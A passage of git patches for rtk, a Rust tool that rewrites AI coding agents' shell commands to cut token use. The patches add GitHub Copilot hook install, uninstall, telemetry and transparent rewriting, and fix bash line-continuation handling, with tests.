&[]), + rewrite_command_no_prefixes("git \\\n diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3959,7 +3959,7 @@ mod tests { // unchanged. This pins that the normalization step does not // regress the no-op fast path. assert_eq!( - rewrite_command("git diff HEAD~1", &[]), + rewrite_command_no_prefixes("git diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } From 3c356b32416be0815bee9e4364c20c4efa15d829 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 15:21:27 +0200 Subject: [PATCH 158/204] fix: remove remaining noise and rework comments --- src/discover/registry.rs | 31 ++++++++++++++----------------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index df1d500475..4fd7168282 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -441,22 +441,20 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { } lazy_static! { - /// Matches a bash line-continuation: a backslash immediately - /// followed by `\n` or `\r\n`, *plus* any horizontal whitespace on - /// the line before AND after the break. This is what bash already - /// collapses to a single space before executing the command — rtk's - /// hook matcher needs to do the same so commands authored across - /// multiple lines still hit the rewrite rules. Consuming the - /// trailing whitespace prevents double spaces in cases like + /// Matches a bash line-continuation: a backslash immediately followed by + /// `\n` or `\r\n`, *plus* any horizontal whitespace on the line before AND + /// after the break. This is what bash already collapses to a single space + /// before executing the command — rtk's hook matcher needs to do the same + /// so commands authored across multiple lines still hit the rewrite rules. + /// Consuming the trailing whitespace prevents double spaces in cases like /// `git diff \HEAD~1`. static ref LINE_CONTINUATION_RE: Regex = Regex::new(r"(?m)[ \t\x0B\x0C]*\\\r?\n[ \t\x0B\x0C]*").unwrap(); } -/// Replace every bash line continuation with a single space, mirroring -/// what bash does before dispatching the command. Returns a borrowed -/// `&str` when the input contains no continuations, so the common -/// fast path allocates nothing. +/// Replace every bash line continuation with a single space, mirroring what +/// bash does before dispatching the command. Returns a borrowed `&str` when the +/// input contains no continuations, so the common fast path allocates nothing. fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { LINE_CONTINUATION_RE.replace_all(s, " ") } @@ -470,7 +468,7 @@ fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { /// (`[hooks].transparent_prefixes` in `config.toml`) before routing. /// /// A transparent prefix is a wrapper command that doesn't change *what* is -/// being run, only *how* it's run --- e.g. `docker exec mycontainer`, +/// being run, only *how* it's run — e.g. `docker exec mycontainer`, /// `direnv exec .`, `poetry run`, or `bundle exec`. Stripping it lets the inner /// command match a filter; the prefix is then re-prepended to the rewrite. The /// built-in [`SHELL_PREFIX_BUILTINS`] (`noglob`, `command`, `builtin`, `exec`, @@ -485,11 +483,10 @@ pub fn rewrite_command( excluded: &[String], transparent_prefixes: &[String], ) -> Option { - // Bash line continuations (`\`, `\`) and the leading - // whitespace that follows are syntactically equivalent to a single - // space, but `cmd.trim()` does not unwrap them --- so a leading - // backslash-newline used to defeat the whole matcher. Normalize - // first, then trim. See issue #1564. + // Bash line continuations (`\`, `\`) and the leading whitespace that + // follows are syntactically equivalent to a single space, but `cmd.trim()` does + // not unwrap them so a leading backslash-newline used to defeat the whole matcher. + // Normalize first, then trim. See issue #1564. let normalized = collapse_line_continuations(cmd); let trimmed = normalized.trim(); if trimmed.is_empty() { From e132896d3f3b588813f59790a5c2f7d35e40cb78 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Mon, 25 May 2026 21:42:07 +0200 Subject: [PATCH 159/204] fix(cicd): MIT to Apache 2.0 --- .github/workflows/release.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 06cb022df3..d18a3b357f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -291,7 +291,7 @@ jobs: desc "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" homepage "https://www.rtk-ai.app" version "VERSION_PLACEHOLDER" - license "MIT" + license "Apache 2.0" if OS.mac? && Hardware::CPU.arm? url "https://github.com/rtk-ai/rtk/releases/download/TAG_PLACEHOLDER/rtk-aarch64-apple-darwin.tar.gz" From 8fb29e2f75a34d9430be74975cccd30213e619aa Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 22:15:35 +0200 Subject: [PATCH 160/204] fix(hook): emit Copilot CLI-compatible hook config + strip BOM on Windows --- .../guide/getting-started/supported-agents.md | 6 +- src/hooks/constants.rs | 4 ++ src/hooks/hook_cmd.rs | 23 +++++++- src/hooks/init.rs | 58 +++++++++++++++++-- 4 files changed, 83 insertions(+), 8 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index b7fb920deb..ede38bcac7 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -66,12 +66,14 @@ rtk init --global --cursor Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. -### VS Code Copilot Chat +### GitHub Copilot (VS Code Chat + CLI) ```bash -rtk init --global --copilot +rtk init --copilot ``` +Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). + ### Gemini CLI ```bash diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index 506e88cdf8..f9a6922642 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -22,6 +22,10 @@ pub const CURSOR_DIR: &str = ".cursor"; pub const CODEX_DIR: &str = ".codex"; pub const GEMINI_DIR: &str = ".gemini"; +pub const GITHUB_DIR: &str = ".github"; +pub const COPILOT_HOOK_FILE: &str = "rtk-rewrite.json"; +pub const COPILOT_INSTRUCTIONS_FILE: &str = "copilot-instructions.md"; + pub const PI_DIR: &str = ".pi/agent"; pub const PI_LOCAL_DIR: &str = ".pi"; pub const PI_EXTENSIONS_SUBDIR: &str = "extensions"; diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36825e3c5e..2f29a2d7c3 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -42,7 +42,9 @@ enum HookFormat { pub fn run_copilot() -> Result<()> { let input = read_stdin_limited()?; - let input = input.trim(); + // Strip leading BOM(s) before trimming: some Windows hosts prepend UTF-8 + // BOMs to hook stdin (confirmed for Cursor), which serde_json rejects. + let input = strip_leading_bom(&input).trim(); if input.is_empty() { return Ok(()); } @@ -575,6 +577,25 @@ mod tests { assert!(matches!(detect_format(&v), HookFormat::PassThrough)); } + #[test] + fn test_copilot_bom_prefixed_payload_is_recognized() { + // Windows hosts may prepend one or two UTF-8 BOMs to hook stdin + // (confirmed for Cursor). run_copilot strips them before parsing; + // verify both Copilot formats still parse after the same handling. + for raw in [ + format!("\u{feff}{}", copilot_cli_input("git status")), + format!("\u{feff}\u{feff}{}", copilot_cli_input("git status")), + ] { + let cleaned = strip_leading_bom(&raw).trim(); + let v: Value = serde_json::from_str(cleaned).expect("BOM-stripped JSON must parse"); + assert!(matches!(detect_format(&v), HookFormat::CopilotCli { .. })); + } + + let raw = format!("\u{feff}{}", vscode_input("Bash", "git status")); + let v: Value = serde_json::from_str(strip_leading_bom(&raw).trim()).unwrap(); + assert!(matches!(detect_format(&v), HookFormat::VsCode { .. })); + } + #[test] fn test_detect_unknown_is_passthrough() { assert!(matches!(detect_format(&json!({})), HookFormat::PassThrough)); diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 189f5de557..3f57cf6ae4 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -8,7 +8,8 @@ use std::path::{Path, PathBuf}; use tempfile::NamedTempFile; use crate::hooks::constants::{ - CONFIG_DIR, CURSOR_DIR, GEMINI_DIR, OPENCODE_PLUGIN_FILE, OPENCODE_SUBDIR, PLUGIN_SUBDIR, + CONFIG_DIR, COPILOT_HOOK_FILE, COPILOT_INSTRUCTIONS_FILE, CURSOR_DIR, GEMINI_DIR, GITHUB_DIR, + OPENCODE_PLUGIN_FILE, OPENCODE_SUBDIR, PLUGIN_SUBDIR, }; use super::constants::{ @@ -3845,7 +3846,9 @@ fn uninstall_gemini(ctx: InitContext) -> Result> { // ── Copilot integration ───────────────────────────────────── +// PreToolUse = VS Code schema, preToolUse = Copilot CLI schema (same file, both hosts). const COPILOT_HOOK_JSON: &str = r#"{ + "version": 1, "hooks": { "PreToolUse": [ { @@ -3854,6 +3857,15 @@ const COPILOT_HOOK_JSON: &str = r#"{ "cwd": ".", "timeout": 5 } + ], + "preToolUse": [ + { + "type": "command", + "bash": "rtk hook copilot", + "powershell": "rtk hook copilot", + "cwd": ".", + "timeoutSec": 5 + } ] } } @@ -3901,8 +3913,8 @@ pub fn run_copilot(ctx: InitContext) -> Result<()> { /// `cargo test`'s default parallel execution). fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { let InitContext { dry_run, .. } = ctx; - let github_dir = base.join(".github"); - let hooks_dir = github_dir.join("hooks"); + let github_dir = base.join(GITHUB_DIR); + let hooks_dir = github_dir.join(HOOKS_SUBDIR); if !dry_run { fs::create_dir_all(&hooks_dir) @@ -3912,7 +3924,7 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { // 1. Upsert RTK marker block in copilot-instructions.md (preserves user content). // Done BEFORE writing the hook config so a malformed file aborts the install // without leaving a stale hook on disk. - let instructions_path = github_dir.join("copilot-instructions.md"); + let instructions_path = github_dir.join(COPILOT_INSTRUCTIONS_FILE); write_rtk_block( &instructions_path, COPILOT_INSTRUCTIONS, @@ -3922,7 +3934,7 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { )?; // 2. Write hook config (only reached if the upsert above succeeded). - let hook_path = hooks_dir.join("rtk-rewrite.json"); + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); write_if_changed(&hook_path, COPILOT_HOOK_JSON, "Copilot hook config", ctx)?; if dry_run { @@ -6254,6 +6266,42 @@ mod tests { assert!(content.contains("rtk cargo test")); } + #[test] + fn test_copilot_hook_json_serves_both_vscode_and_cli_schemas() { + let v: serde_json::Value = serde_json::from_str(COPILOT_HOOK_JSON).unwrap(); + + let vscode = &v["hooks"]["PreToolUse"][0]; + assert_eq!(vscode["command"], "rtk hook copilot"); + assert!(vscode["timeout"].is_number(), "VS Code uses `timeout`"); + + assert_eq!(v["version"], 1, "Copilot CLI requires top-level version"); + let cli = &v["hooks"]["preToolUse"][0]; + assert_eq!(cli["bash"], "rtk hook copilot"); + assert_eq!(cli["powershell"], "rtk hook copilot"); + assert!( + cli["timeoutSec"].is_number(), + "Copilot CLI uses `timeoutSec`" + ); + } + + #[test] + fn test_copilot_init_writes_dual_schema_to_disk() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + let v: serde_json::Value = + serde_json::from_str(&fs::read_to_string(&hook_path).unwrap()).unwrap(); + + assert_eq!(v["hooks"]["PreToolUse"][0]["command"], "rtk hook copilot"); + assert_eq!(v["version"], 1); + assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); From 84b703d7d02d0fa9b25ab9a39ccc467da2eba440 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 22:17:27 +0200 Subject: [PATCH 161/204] feat(hook): wire Copilot into uninstall, telemetry, and discover --- .../guide/getting-started/supported-agents.md | 8 + src/core/telemetry.rs | 10 +- src/discover/report.rs | 64 +++++++- src/hooks/init.rs | 142 ++++++++++++++++++ src/main.rs | 2 + 5 files changed, 219 insertions(+), 7 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index ede38bcac7..5007c10be5 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -74,6 +74,14 @@ rtk init --copilot Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). +Uninstall (project-scoped): + +```bash +rtk init --uninstall --copilot +``` + +Removes `.github/hooks/rtk-rewrite.json` and the RTK block from `.github/copilot-instructions.md` (your own content is preserved). + ### Gemini CLI ```bash diff --git a/src/core/telemetry.rs b/src/core/telemetry.rs index 97e057be10..426c1e1fc6 100644 --- a/src/core/telemetry.rs +++ b/src/core/telemetry.rs @@ -368,11 +368,14 @@ fn detect_hook_type() -> String { } } - // Check project-level hooks + // Check project-level hooks (Claude script + project-scoped Copilot config) if let Ok(cwd) = std::env::current_dir() { if cwd.join(".claude/hooks/rtk-rewrite.sh").exists() { return "claude".to_string(); } + if cwd.join(".github/hooks/rtk-rewrite.json").exists() { + return "copilot".to_string(); + } } "none".to_string() @@ -571,7 +574,7 @@ mod tests { assert!(stats.low_savings_commands.len() <= 5); assert!((0.0..=100.0).contains(&stats.avg_savings_per_command)); assert!( - ["claude", "gemini", "codex", "cursor", "none", "unknown"] + ["claude", "gemini", "codex", "cursor", "copilot", "none", "unknown"] .iter() .any(|&h| stats.hook_type.starts_with(h)), "Unexpected hook type: {}", @@ -583,7 +586,8 @@ mod tests { fn test_detect_hook_type_returns_known() { let ht = detect_hook_type(); assert!( - ["claude", "gemini", "codex", "cursor", "none", "unknown"].contains(&ht.as_str()), + ["claude", "gemini", "codex", "cursor", "copilot", "none", "unknown"] + .contains(&ht.as_str()), "Unexpected hook type: {}", ht ); diff --git a/src/discover/report.rs b/src/discover/report.rs index c2c523e246..af4dd453d7 100644 --- a/src/discover/report.rs +++ b/src/discover/report.rs @@ -1,8 +1,8 @@ //! Data types for reporting which commands RTK can and cannot optimize. use crate::hooks::constants::{ - CURSOR_DIR, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, - HOOKS_SUBDIR, REWRITE_HOOK_FILE, + COPILOT_HOOK_FILE, CURSOR_DIR, GITHUB_DIR, HERMES_DIR, HERMES_PLUGINS_SUBDIR, + HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_SUBDIR, REWRITE_HOOK_FILE, }; use serde::Serialize; use std::path::Path; @@ -52,13 +52,19 @@ pub struct UnsupportedEntry { pub struct AgentIntegrationStatus { pub cursor_hook_installed: bool, pub hermes_plugin_installed: bool, + pub copilot_hook_installed: bool, } impl AgentIntegrationStatus { pub fn detect() -> Self { - dirs::home_dir() + let mut status = dirs::home_dir() .map(|home| Self::detect_from_home(&home)) - .unwrap_or_default() + .unwrap_or_default(); + // Copilot is project-scoped (.github/hooks/), unlike the home-based agents. + status.copilot_hook_installed = std::env::current_dir() + .map(|cwd| Self::copilot_hook_installed_in(&cwd)) + .unwrap_or(false); + status } fn detect_from_home(home: &Path) -> Self { @@ -74,8 +80,16 @@ impl AgentIntegrationStatus { .join(HERMES_PLUGIN_NAME) .join(HERMES_PLUGIN_MANIFEST_FILE) .is_file(), + copilot_hook_installed: false, } } + + fn copilot_hook_installed_in(dir: &Path) -> bool { + dir.join(GITHUB_DIR) + .join(HOOKS_SUBDIR) + .join(COPILOT_HOOK_FILE) + .exists() + } } /// Full discover report. @@ -221,6 +235,10 @@ fn append_agent_notes(out: &mut String, status: AgentIntegrationStatus) { if status.hermes_plugin_installed { out.push_str("\nNote: Hermes plugin is installed; Hermes sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); } + + if status.copilot_hook_installed { + out.push_str("\nNote: GitHub Copilot sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); + } } /// Format report as JSON. @@ -362,6 +380,7 @@ mod tests { report.agent_status = AgentIntegrationStatus { cursor_hook_installed: true, hermes_plugin_installed: true, + copilot_hook_installed: true, }; let output = format_json(&report); @@ -369,5 +388,42 @@ mod tests { assert_eq!(json["agent_status"]["cursor_hook_installed"], true); assert_eq!(json["agent_status"]["hermes_plugin_installed"], true); + assert_eq!(json["agent_status"]["copilot_hook_installed"], true); + } + + #[test] + fn test_agent_status_detects_copilot_hook_in_project() { + let temp = tempfile::tempdir().unwrap(); + let hook = temp + .path() + .join(GITHUB_DIR) + .join(HOOKS_SUBDIR) + .join(COPILOT_HOOK_FILE); + std::fs::create_dir_all(hook.parent().unwrap()).unwrap(); + std::fs::write(&hook, "{}").unwrap(); + + assert!(AgentIntegrationStatus::copilot_hook_installed_in( + temp.path() + )); + assert!(!AgentIntegrationStatus::copilot_hook_installed_in( + tempfile::tempdir().unwrap().path() + )); + } + + #[test] + fn test_format_text_reports_copilot_detected() { + let mut report = make_report(0, 0); + report.agent_status = AgentIntegrationStatus { + copilot_hook_installed: true, + ..AgentIntegrationStatus::default() + }; + + let output = format_text(&report, 10, false); + + assert!( + output.contains("GitHub Copilot sessions are tracked via `rtk gain`"), + "Expected Copilot note in output but got:\n{}", + output + ); } } diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 3f57cf6ae4..ac0e4ab577 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3951,6 +3951,82 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { Ok(()) } +/// Entry point for `rtk init --uninstall --copilot` (project-scoped, like install). +pub fn uninstall_copilot(ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let removed = uninstall_copilot_at(Path::new("."), ctx)?; + + if removed.is_empty() { + println!("RTK Copilot support was not installed (nothing to remove)"); + } else { + let header = if dry_run { + "[dry-run] would uninstall RTK (GitHub Copilot):" + } else { + "RTK uninstalled (GitHub Copilot):" + }; + println!("{}", header); + for item in &removed { + println!(" - {}", item); + } + if !dry_run { + println!("\nRestart your IDE or Copilot CLI session to apply changes."); + } + } + + if dry_run { + print_dry_run_footer(); + } + Ok(()) +} + +/// Same as [`uninstall_copilot`] but operates relative to an explicit base path. +fn uninstall_copilot_at(base: &Path, ctx: InitContext) -> Result> { + let InitContext { dry_run, .. } = ctx; + let github_dir = base.join(GITHUB_DIR); + let mut removed = Vec::new(); + + let hook_path = github_dir.join(HOOKS_SUBDIR).join(COPILOT_HOOK_FILE); + if hook_path.exists() { + if dry_run { + println!( + "[dry-run] would remove hook config: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + } + removed.push(format!("Hook config: {}", hook_path.display())); + } + + let instructions_path = github_dir.join(COPILOT_INSTRUCTIONS_FILE); + if instructions_path.exists() { + let content = fs::read_to_string(&instructions_path) + .with_context(|| format!("Failed to read {}", instructions_path.display()))?; + if content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&content); + if did_remove { + if dry_run { + println!( + "[dry-run] would remove rtk-instructions block from {}", + instructions_path.display() + ); + } else { + atomic_write(&instructions_path, &cleaned).with_context(|| { + format!("Failed to write {}", instructions_path.display()) + })?; + } + removed.push(format!( + "{}: removed rtk-instructions block", + COPILOT_INSTRUCTIONS_FILE + )); + } + } + } + + Ok(removed) +} + #[cfg(test)] mod tests { use super::*; @@ -6302,6 +6378,72 @@ mod tests { assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); } + #[test] + fn test_copilot_uninstall_removes_hook_and_block() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + let instructions_path = temp.path().join(".github").join("copilot-instructions.md"); + assert!(hook_path.exists()); + + let removed = uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!(!removed.is_empty()); + assert!(!hook_path.exists(), "hook config must be removed"); + let instructions = fs::read_to_string(&instructions_path).unwrap(); + assert!( + !instructions.contains(RTK_BLOCK_START), + "RTK block must be removed" + ); + } + + #[test] + fn test_copilot_uninstall_preserves_user_instructions() { + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + let instructions_path = github_dir.join("copilot-instructions.md"); + fs::write(&instructions_path, "# My rules\n\nAlways use pnpm.\n").unwrap(); + + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let after = fs::read_to_string(&instructions_path).unwrap(); + assert!(after.contains("Always use pnpm."), "user content preserved"); + assert!(!after.contains(RTK_BLOCK_START), "RTK block removed"); + } + + #[test] + fn test_copilot_uninstall_dry_run_keeps_files() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + + let ctx = InitContext { + verbose: 0, + dry_run: true, + }; + uninstall_copilot_at(temp.path(), ctx).unwrap(); + + assert!(hook_path.exists(), "dry-run must not remove hook config"); + } + + #[test] + fn test_copilot_uninstall_nothing_when_absent() { + let temp = TempDir::new().unwrap(); + let removed = uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + assert!(removed.is_empty(), "nothing to remove in a clean project"); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index 22e6cbca87..f1715186a5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1821,6 +1821,8 @@ fn run_cli() -> Result { }; if show { hooks::init::show_config(codex)?; + } else if uninstall && copilot { + hooks::init::uninstall_copilot(ctx)?; } else if uninstall { uninstall_init_dispatch( agent, From 557e57c9f9fe90b090d7bb62024d8bcddd81b732 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 13:31:20 +0200 Subject: [PATCH 162/204] fix(hook): semgrep marker + regression tests for Copilot hook isolation --- src/hooks/init.rs | 49 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index ac0e4ab577..7e178cf2d7 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3993,6 +3993,7 @@ fn uninstall_copilot_at(base: &Path, ctx: InitContext) -> Result> { hook_path.display() ); } else { + // nosemgrep: filesystem-deletion -- Copilot uninstall removes only the RTK-managed hook config. fs::remove_file(&hook_path) .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; } @@ -6444,6 +6445,54 @@ mod tests { assert!(removed.is_empty(), "nothing to remove in a clean project"); } + #[test] + fn test_copilot_install_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + let hooks_dir = temp.path().join(".github").join("hooks"); + fs::create_dir_all(&hooks_dir).unwrap(); + let other_hook = hooks_dir.join("user-policy.json"); + let other_content = + r#"{"hooks":{"sessionStart":[{"type":"command","command":"echo hi"}]}}"#; + fs::write(&other_hook, other_content).unwrap(); + + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!(other_hook.exists(), "third-party hook file must remain"); + assert_eq!( + fs::read_to_string(&other_hook).unwrap(), + other_content, + "third-party hook content must be unchanged by rtk install" + ); + } + + #[test] + fn test_copilot_uninstall_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hooks_dir = temp.path().join(".github").join("hooks"); + let other_hook = hooks_dir.join("user-policy.json"); + let other_content = + r#"{"hooks":{"sessionStart":[{"type":"command","command":"echo hi"}]}}"#; + fs::write(&other_hook, other_content).unwrap(); + + uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!( + other_hook.exists(), + "third-party hook file must survive rtk uninstall" + ); + assert_eq!( + fs::read_to_string(&other_hook).unwrap(), + other_content, + "third-party hook content must be unchanged by rtk uninstall" + ); + assert!( + !hooks_dir.join("rtk-rewrite.json").exists(), + "rtk's own hook must still be removed" + ); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); From 4b0bbf269b34e953bf08b6d15b2ffc13cf812fb3 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 19:56:04 +0200 Subject: [PATCH 163/204] feat(hook): --global Copilot install + transparent rewrite via modifiedArgs --- .../guide/getting-started/supported-agents.md | 12 +- src/hooks/constants.rs | 2 + src/hooks/hook_cmd.rs | 66 +++++-- src/hooks/init.rs | 180 +++++++++++++++++- src/main.rs | 12 +- 5 files changed, 245 insertions(+), 27 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 5007c10be5..80f22f39e8 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -30,7 +30,7 @@ Agent runs "cargo test" |-------|-----------------|---------------------------| | Claude Code | Shell hook (`PreToolUse`) | Yes | | VS Code Copilot Chat | Shell hook (`PreToolUse`) | Yes | -| GitHub Copilot CLI | Shell hook (deny-with-suggestion) | No (agent retries) | +| GitHub Copilot CLI | Shell hook (`preToolUse` `modifiedArgs`) | Yes | | Cursor | Shell hook (`preToolUse`) | Yes | | Gemini CLI | Rust binary (`BeforeTool`) | Yes | | OpenCode | TypeScript plugin (`tool.execute.before`) | Yes | @@ -69,18 +69,20 @@ Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. ### GitHub Copilot (VS Code Chat + CLI) ```bash -rtk init --copilot +rtk init --copilot # project-scoped (.github/hooks/) +rtk init --global --copilot # user-scoped (~/.copilot/hooks/, respects $COPILOT_HOME) ``` -Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). +Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes only `~/.copilot/hooks/rtk-rewrite.json` — the Copilot CLI docs define no user-level instructions file. -Uninstall (project-scoped): +Uninstall: ```bash rtk init --uninstall --copilot +rtk init --uninstall --global --copilot ``` -Removes `.github/hooks/rtk-rewrite.json` and the RTK block from `.github/copilot-instructions.md` (your own content is preserved). +Removes only RTK's hook file (and, for project, the RTK block in `copilot-instructions.md`). Other files in `.github/hooks/` or `~/.copilot/hooks/` and your own instruction content are untouched. ### Gemini CLI diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index f9a6922642..23d2e10899 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -25,6 +25,8 @@ pub const GEMINI_DIR: &str = ".gemini"; pub const GITHUB_DIR: &str = ".github"; pub const COPILOT_HOOK_FILE: &str = "rtk-rewrite.json"; pub const COPILOT_INSTRUCTIONS_FILE: &str = "copilot-instructions.md"; +pub const COPILOT_USER_DIR: &str = ".copilot"; +pub const COPILOT_HOME_ENV: &str = "COPILOT_HOME"; pub const PI_DIR: &str = ".pi/agent"; pub const PI_LOCAL_DIR: &str = ".pi"; diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 2f29a2d7c3..d5f5c3753f 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -31,7 +31,7 @@ fn read_stdin_limited() -> Result { enum HookFormat { /// VS Code Copilot Chat / Claude Code: `tool_name` + `tool_input.command`, supports `updatedInput`. VsCode { command: String }, - /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), deny-with-suggestion only. + /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), supports `modifiedArgs` for transparent rewrite. CopilotCli { command: String }, /// Non-bash tool, already uses rtk, or unknown format — pass through silently. PassThrough, @@ -156,27 +156,24 @@ fn handle_vscode(cmd: &str) -> Result<()> { } fn handle_copilot_cli(cmd: &str) -> Result<()> { + if let Some(response) = copilot_cli_response(cmd) { + let _ = writeln!(io::stdout(), "{response}"); + } + Ok(()) +} + +fn copilot_cli_response(cmd: &str) -> Option { if permissions::check_command(cmd) == PermissionVerdict::Deny { audit_log("deny", cmd, ""); - return Ok(()); + return None; } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; - + let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); - - let output = json!({ - "permissionDecision": "deny", - "permissionDecisionReason": format!( - "Token savings: use `{}` instead (rtk saves 60-90% tokens)", - rewritten - ) - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + Some(json!({ + "permissionDecision": "allow", + "permissionDecisionReason": "RTK auto-rewrite", + "modifiedArgs": { "command": rewritten } + })) } // ── Gemini hook ─────────────────────────────────────────────── @@ -621,6 +618,39 @@ mod tests { assert!(get_rewritten("cat <<'EOF'\nhello\nEOF").is_none()); } + // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- + + #[test] + fn test_copilot_cli_transparent_rewrite() { + let r = copilot_cli_response("cargo test").unwrap(); + assert_eq!(r["permissionDecision"], "allow"); + assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); + } + + #[test] + fn test_copilot_cli_passthrough_unsupported() { + assert!(copilot_cli_response("htop").is_none()); + } + + #[test] + fn test_copilot_cli_passthrough_already_rtk() { + assert!(copilot_cli_response("rtk cargo test").is_none()); + } + + #[test] + fn test_copilot_cli_passthrough_heredoc() { + assert!(copilot_cli_response("cat < Result> { Ok(removed) } +fn copilot_user_dir() -> 